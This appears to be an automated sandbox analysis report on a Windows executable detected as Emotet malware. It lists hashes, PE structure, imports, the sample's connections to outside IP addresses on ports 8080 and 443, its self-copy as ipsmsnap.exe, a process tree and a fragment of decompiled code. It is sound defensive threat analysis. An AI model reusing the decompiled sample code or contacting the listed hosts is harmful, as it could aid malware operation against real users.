Preview:	........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. A.u.g. .. 1.2. .. 2.0.2.1. .0.3.:.4.3.:.0.6.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. A.u.g. .. 1.2. .. 2.0.2.1. .0.3.:.4.3.:.0.6.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.068612593699838
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PHvqpLRfRl.exe
File size:	270848
MD5:	d8e003f1443fd417bff275f2ce89330c
SHA1:	9489e8b85d2531b256f60803a8716a6efec34a97
SHA256:	e234948d52b71a636aeb6d54c77620910456db6a65202710fed85d19246601cb
SHA512:	591babd25118682cd7eb79f6ba50ee258cdd496d137acceed5f400bea8ff1885bd37b0e04d93849fffe29a02c03308fbc9f016c7ef32e4c406717e7b12023b2c
SSDEEP:	6144:++t9slXRgrofl8ClmHBU9PTyXpuXc5SkY2Bkp3:+E+lBgrod8nWhy149xp
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[.'...II..II..II...I].II...I..II...I..II.&.I..II.&.I..II..HIn.II.G.I..II.G.I..II...I..II...I..II.G.I..IIRich..II........PE..L..

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x40a63b
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5F626E57 [Wed Sep 16 19:58:15 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	affe87f73dbd3b817a718b43c2e37fc2

Entrypoint Preview

Instruction
call 00007F9A8C756C4Bh
jmp 00007F9A8C751075h
push 00000014h
push 00427410h
call 00007F9A8C751CC4h
call 00007F9A8C756E1Ch
movzx esi, ax
push 00000002h
call 00007F9A8C756BDEh
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F9A8C751076h
xor ebx, ebx
jmp 00007F9A8C7510A5h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F9A8C75105Dh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F9A8C75104Fh
sub ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F9A8C75107Bh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F9A8C753F9Ah
or eax, eax
jne 00007F9A8C75107Ah
push 0000001Ch
call 00007F9A8C751151h
pop ecx
call 00007F9A8C752D4Fh
or eax, eax
jne 00007F9A8C75107Ah
push 00000010h
call 00007F9A8C751140h
pop ecx
call 00007F9A8C756C57h
and dword ptr [ebp-04h], 00000000h
call 00007F9A8C7565A1h
or eax, eax
jns 00007F9A8C75107Ah
push 0000001Bh
call 00007F9A8C751126h
pop ecx
call dword ptr [0041F0BCh]
mov dword ptr [0042CC3Ch], eax
call 00007F9A8C756C72h
mov dword ptr [0042AA6Ch], eax
call 00007F9A8C75682Fh
test eax, eax
jns 00007F9A8C75107Ah

Rich Headers

Programming Language:

[C++] VS2013 UPD5 build 40629
[ C ] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629
[EXP] VS2013 UPD5 build 40629
[C++] VS2013 build 21005
[ASM] VS2013 build 21005
[RES] VS2013 build 21005

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x27bb0	0x58	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x27c08	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2d000	0x16e10	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x44000	0x1da4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1f240	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x263e0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1f000	0x1b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1ddcf	0x1de00	False	0.537158407427	data	6.59248625396	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x1f000	0x9512	0x9600	False	0.377630208333	data	4.65797079282	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x29000	0x3c40	0x1c00	False	0.310128348214	data	3.64999781996	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2d000	0x16e10	0x17000	False	0.918127972147	data	7.78538698258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x44000	0x1da4	0x1e00	False	0.755338541667	data	6.58235102943	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
JPGIMAGE	0x2d180	0x7332	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=10, orientation=upper-left, xresolution=134, yresolution=142, resolutionunit=2, datetime=2006:02:17 11:46:11], baseline, precision 8, 400x300, frames 3	English	United States
RT_STRING	0x42ff0	0xc0c	data	English	United States
RT_STRING	0x43c00	0x8a	data	English	United States
RT_MANIFEST	0x43c90	0x17d	XML 1.0 document text	English	United States
None	0x344b8	0xeb33	data	English	United States

Imports

DLL	Import
prntvpt.dll
KERNEL32.dll	LocalFree, FindResourceW, GetStdHandle, GetModuleHandleW, SizeofResource, WriteConsoleA, ReadConsoleW, WriteConsoleW, SetFilePointerEx, LockResource, LoadResource, LocalAlloc, GetLastError, CloseHandle, CreateFileW, ReadFile, WideCharToMultiByte, SetStdHandle, GetConsoleMode, GetConsoleCP, FlushFileBuffers, IsValidCodePage, OutputDebugStringW, GetStringTypeW, HeapReAlloc, LoadLibraryExW, LeaveCriticalSection, EnterCriticalSection, EnumSystemLocalesW, GetUserDefaultLCID, EncodePointer, DecodePointer, HeapFree, HeapAlloc, RaiseException, RtlUnwind, GetCommandLineA, IsProcessorFeaturePresent, IsDebuggerPresent, ExitProcess, GetModuleHandleExW, GetProcAddress, MultiByteToWideChar, HeapSize, GetACP, GetOEMCP, GetCPInfo, SetLastError, GetCurrentThreadId, GetProcessHeap, WriteFile, GetModuleFileNameW, GetFileType, DeleteCriticalSection, GetStartupInfoW, GetModuleFileNameA, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LCMapStringW, GetLocaleInfoW, IsValidLocale
USER32.dll	LoadStringW
GDI32.dll	EndPage, StartPage, EndDoc, StartDocW, DeleteDC, CreateDCW, ExtEscape, TextOutW
WINSPOOL.DRV	OpenPrinterW, DocumentPropertiesW, ClosePrinter
ADVAPI32.dll	CryptAcquireContextA
ole32.dll	CreateStreamOnHGlobal, CoTaskMemAlloc, CoCreateInstance, CoTaskMemFree
OLEAUT32.dll	VariantClear, VariantInit, SysFreeString, SysAllocString

Exports

Name	Ordinal	Address
XAdsfcghjdYUTWTFyFSGSFGH	1	0x4042e0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source IP	Dest IP
08/12/21-03:42:23.986365	ICMP	486	ICMP Destination Unreachable Communication with Destination Host is Administratively Prohibited	104.156.59.7	192.168.2.3
08/12/21-03:42:26.992190	ICMP	486	ICMP Destination Unreachable Communication with Destination Host is Administratively Prohibited	104.156.59.7	192.168.2.3
08/12/21-03:42:33.008920	ICMP	486	ICMP Destination Unreachable Communication with Destination Host is Administratively Prohibited	104.156.59.7	192.168.2.3
08/12/21-03:42:49.488243	ICMP	399	ICMP Destination Unreachable Host Unreachable	120.138.31.131	192.168.2.3
08/12/21-03:43:01.445741	ICMP	399	ICMP Destination Unreachable Host Unreachable	120.138.31.131	192.168.2.3
08/12/21-03:43:01.445786	ICMP	399	ICMP Destination Unreachable Host Unreachable	120.138.31.131	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 12, 2021 03:41:35.519666910 CEST	49719	80	192.168.2.3	74.219.172.26
Aug 12, 2021 03:41:38.522355080 CEST	49719	80	192.168.2.3	74.219.172.26
Aug 12, 2021 03:41:44.522910118 CEST	49719	80	192.168.2.3	74.219.172.26
Aug 12, 2021 03:41:59.708889961 CEST	49726	8080	192.168.2.3	134.209.36.254
Aug 12, 2021 03:42:02.711874962 CEST	49726	8080	192.168.2.3	134.209.36.254
Aug 12, 2021 03:42:08.712327003 CEST	49726	8080	192.168.2.3	134.209.36.254
Aug 12, 2021 03:42:23.847101927 CEST	49736	8080	192.168.2.3	104.156.59.7
Aug 12, 2021 03:42:26.854458094 CEST	49736	8080	192.168.2.3	104.156.59.7
Aug 12, 2021 03:42:32.870639086 CEST	49736	8080	192.168.2.3	104.156.59.7
Aug 12, 2021 03:42:48.135271072 CEST	49737	8080	192.168.2.3	120.138.30.150
Aug 12, 2021 03:42:51.137895107 CEST	49737	8080	192.168.2.3	120.138.30.150
Aug 12, 2021 03:42:57.138266087 CEST	49737	8080	192.168.2.3	120.138.30.150
Aug 12, 2021 03:43:12.784043074 CEST	49745	443	192.168.2.3	194.187.133.160
Aug 12, 2021 03:43:12.845926046 CEST	443	49745	194.187.133.160	192.168.2.3
Aug 12, 2021 03:43:13.358505011 CEST	49745	443	192.168.2.3	194.187.133.160
Aug 12, 2021 03:43:13.420268059 CEST	443	49745	194.187.133.160	192.168.2.3
Aug 12, 2021 03:43:13.921128988 CEST	49745	443	192.168.2.3	194.187.133.160
Aug 12, 2021 03:43:13.985340118 CEST	443	49745	194.187.133.160	192.168.2.3
Aug 12, 2021 03:43:16.842665911 CEST	49746	8080	192.168.2.3	104.236.246.93
Aug 12, 2021 03:43:19.843348980 CEST	49746	8080	192.168.2.3	104.236.246.93
Aug 12, 2021 03:43:25.859476089 CEST	49746	8080	192.168.2.3	104.236.246.93

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 12, 2021 03:41:15.971901894 CEST	57544	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:16.004633904 CEST	53	57544	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:16.597446918 CEST	55984	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:16.625785112 CEST	53	55984	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:17.620563984 CEST	64185	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:17.647793055 CEST	53	64185	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:18.305031061 CEST	65110	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:18.333103895 CEST	53	65110	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:18.925791025 CEST	58361	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:18.952505112 CEST	53	58361	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:19.905530930 CEST	63492	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:19.939954996 CEST	53	63492	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:20.658904076 CEST	60831	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:20.693347931 CEST	53	60831	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:21.410543919 CEST	60100	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:21.446603060 CEST	53	60100	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:22.163188934 CEST	53195	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:22.196541071 CEST	53	53195	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:23.299995899 CEST	50141	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:23.334172964 CEST	53	50141	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:24.083755970 CEST	53023	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:24.119446993 CEST	53	53023	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:24.810017109 CEST	49563	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:24.836983919 CEST	53	49563	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:26.181569099 CEST	51352	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:26.210449934 CEST	53	51352	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:26.884033918 CEST	59349	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:26.909451008 CEST	53	59349	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:27.560306072 CEST	57084	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:27.590297937 CEST	53	57084	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:28.282663107 CEST	58823	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:28.318605900 CEST	53	58823	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:28.968744993 CEST	57568	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:28.997011900 CEST	53	57568	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:43.925251961 CEST	50540	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:43.969712019 CEST	53	50540	8.8.8.8	192.168.2.3
Aug 12, 2021 03:41:54.065295935 CEST	54366	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:41:54.119997025 CEST	53	54366	8.8.8.8	192.168.2.3
Aug 12, 2021 03:42:10.524096966 CEST	53034	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:42:10.561891079 CEST	53	53034	8.8.8.8	192.168.2.3
Aug 12, 2021 03:42:17.753806114 CEST	57762	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:42:17.796921015 CEST	53	57762	8.8.8.8	192.168.2.3
Aug 12, 2021 03:42:19.660054922 CEST	55435	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:42:19.704071999 CEST	53	55435	8.8.8.8	192.168.2.3
Aug 12, 2021 03:42:51.800534964 CEST	50713	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:42:51.834017992 CEST	53	50713	8.8.8.8	192.168.2.3
Aug 12, 2021 03:42:58.593950987 CEST	56132	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:42:58.636552095 CEST	53	56132	8.8.8.8	192.168.2.3
Aug 12, 2021 03:42:59.078012943 CEST	58987	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:42:59.112729073 CEST	53	58987	8.8.8.8	192.168.2.3
Aug 12, 2021 03:43:34.175939083 CEST	56579	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:43:34.226703882 CEST	53	56579	8.8.8.8	192.168.2.3
Aug 12, 2021 03:43:34.457361937 CEST	60633	53	192.168.2.3	8.8.8.8
Aug 12, 2021 03:43:34.499125957 CEST	53	60633	8.8.8.8	192.168.2.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Aug 12, 2021 03:42:23.986365080 CEST	104.156.59.7	192.168.2.3	636b	(Unknown)	Destination Unreachable
Aug 12, 2021 03:42:26.992189884 CEST	104.156.59.7	192.168.2.3	636b	(Unknown)	Destination Unreachable
Aug 12, 2021 03:42:33.008919954 CEST	104.156.59.7	192.168.2.3	636b	(Unknown)	Destination Unreachable

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: PHvqpLRfRl.exe PID: 3176 Parent PID: 5732

General

Start time:	03:41:22
Start date:	12/08/2021
Path:	C:\Users\user\Desktop\PHvqpLRfRl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\PHvqpLRfRl.exe'
Imagebase:	0x1140000
File size:	270848 bytes
MD5 hash:	D8E003F1443FD417BFF275F2CE89330C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.202006890.00000000003F0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.202145856.0000000000814000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.202173410.0000000000981000.00000020.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: ipsmsnap.exe PID: 2328 Parent PID: 3176

General

Start time:	03:41:23
Start date:	12/08/2021
Path:	C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\BackgroundTransferHost\ipsmsnap.exe
Imagebase:	0x1140000
File size:	270848 bytes
MD5 hash:	D8E003F1443FD417BFF275F2CE89330C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000001.00000002.467934925.0000000000E50000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000001.00000002.467972344.0000000000E64000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 6020 Parent PID: 568

General

Start time:	03:41:50
Start date:	12/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5948 Parent PID: 568

General

Start time:	03:42:01
Start date:	12/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 592 Parent PID: 568

General

Start time:	03:42:02
Start date:	12/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5452 Parent PID: 568

General

Start time:	03:42:02
Start date:	12/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k unistacksvcgroup
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 4068 Parent PID: 568

General

Start time:	03:42:03
Start date:	12/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5084 Parent PID: 568

General

Start time:	03:42:03
Start date:	12/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 1836 Parent PID: 568

General

Start time:	03:42:04
Start date:	12/08/2021
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff79e380000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5912 Parent PID: 568

General

Start time:	03:42:04
Start date:	12/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 3868 Parent PID: 568

General

Start time:	03:42:53
Start date:	12/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: MpCmdRun.exe PID: 4908 Parent PID: 5912

General

Start time:	03:43:05
Start date:	12/08/2021
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable
Imagebase:	0x7ff6bc720000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5188 Parent PID: 4908

General

Start time:	03:43:05
Start date:	12/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5080 Parent PID: 568

General

Start time:	03:43:09
Start date:	12/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5576 Parent PID: 568

General

Start time:	03:43:25
Start date:	12/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: PHvqpLRfRl.exe PID: 3176 Parent PID: 5732 PHvqpLRfRl.exeCOMMON

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	11.1%
Signature Coverage:	15.5%
Total number of Nodes:	870
Total number of Limit Nodes:	70

Executed Functions

Function 01159723, Relevance: 20.1, APIs: 13, Instructions: 554
COMMONLIBRARYCODECrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E01159723(void* __ebx, void* __edx, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v15;
				void _v16;
				char _v3432;
				void _v5136;
				short _v6844;
				signed int _v6848;
				int _v6852;
				signed int _v6856;
				long _v6860;
				short _v6864;
				void* _v6868;
				signed int _v6872;
				signed int _v6876;
				signed int _v6880;
				long _v6884;
				char _v6885;
				long _v6892;
				intOrPtr _v6896;
				int _v6900;
				void* __edi;
				void* __esi;
				signed int _t260;
				signed int _t262;
				signed int _t265;
				signed int _t268;
				signed int _t269;
				void* _t272;
				signed int* _t280;
				signed int _t285;
				signed int _t286;
				signed int _t292;
				signed int _t294;
				signed int _t295;
				signed int _t297;
				signed int _t303;
				void* _t305;
				signed int _t308;
				signed int _t314;
				void* _t315;
				intOrPtr _t318;
				void* _t319;
				signed int _t324;
				int _t326;
				signed short* _t327;
				void* _t328;
				signed int _t332;
				signed int _t334;
				void* _t337;
				signed int _t338;
				long _t342;
				signed int _t346;
				signed int _t352;
				char _t356;
				void* _t359;
				short _t364;
				void* _t365;
				signed char _t377;
				signed int _t378;
				signed int _t380;
				signed int* _t381;
				long _t382;
				signed int _t384;
				signed int _t385;
				signed int _t386;
				signed int _t388;
				signed int _t390;
				intOrPtr _t392;
				signed int _t393;
				signed short* _t398;
				signed int _t399;
				int _t402;
				int _t404;
				char _t409;
				signed int _t410;
				signed int _t411;
				signed int _t412;
				short _t416;
				signed int _t418;
				signed int _t428;
				signed int _t436;
				void* _t437;
				signed short* _t439;
				signed int _t440;
				signed int _t441;
				char* _t442;
				long _t443;
				signed int _t445;
				signed int _t446;
				void* _t448;
				void* _t450;
				signed int _t451;
				signed int _t452;
				signed int _t454;
				void* _t455;

				_t374 = __ebx;
				E01159520(0x1af0);
				_t260 =  *0x1169060; // 0x43153b94
				_v8 = _t260 ^ _t454;
				_v6848 = _v6848 & 0x00000000;
				_t262 = _a4;
				_t386 = _a8;
				_t445 = 0;
				_v6860 = _t262;
				_t436 = 0;
				_v6868 = _t386;
				_v6852 = 0;
				if(_a12 != 0) {
					__eflags = _t386;
					if(__eflags != 0) {
						_t388 = _t262;
						_t428 = _t262 >> 5;
						_t390 = (_t388 & 0x0000001f) << 6;
						_v6876 = _t428;
						_push(__ebx);
						_t429 =  *(0x116b450 + _t428 * 4);
						_v6880 = _t390;
						_t377 =  *((intOrPtr*)(_t390 + _t429 + 0x24)) +  *((intOrPtr*)(_t390 + _t429 + 0x24)) >> 1;
						__eflags = _t377 - 2;
						if(_t377 == 2) {
							L6:
							__eflags =  !_a12 & 0x00000001;
							if(__eflags != 0) {
								_t262 = _v6860;
								L9:
								__eflags =  *(_t390 + _t429 + 4) & 0x00000020;
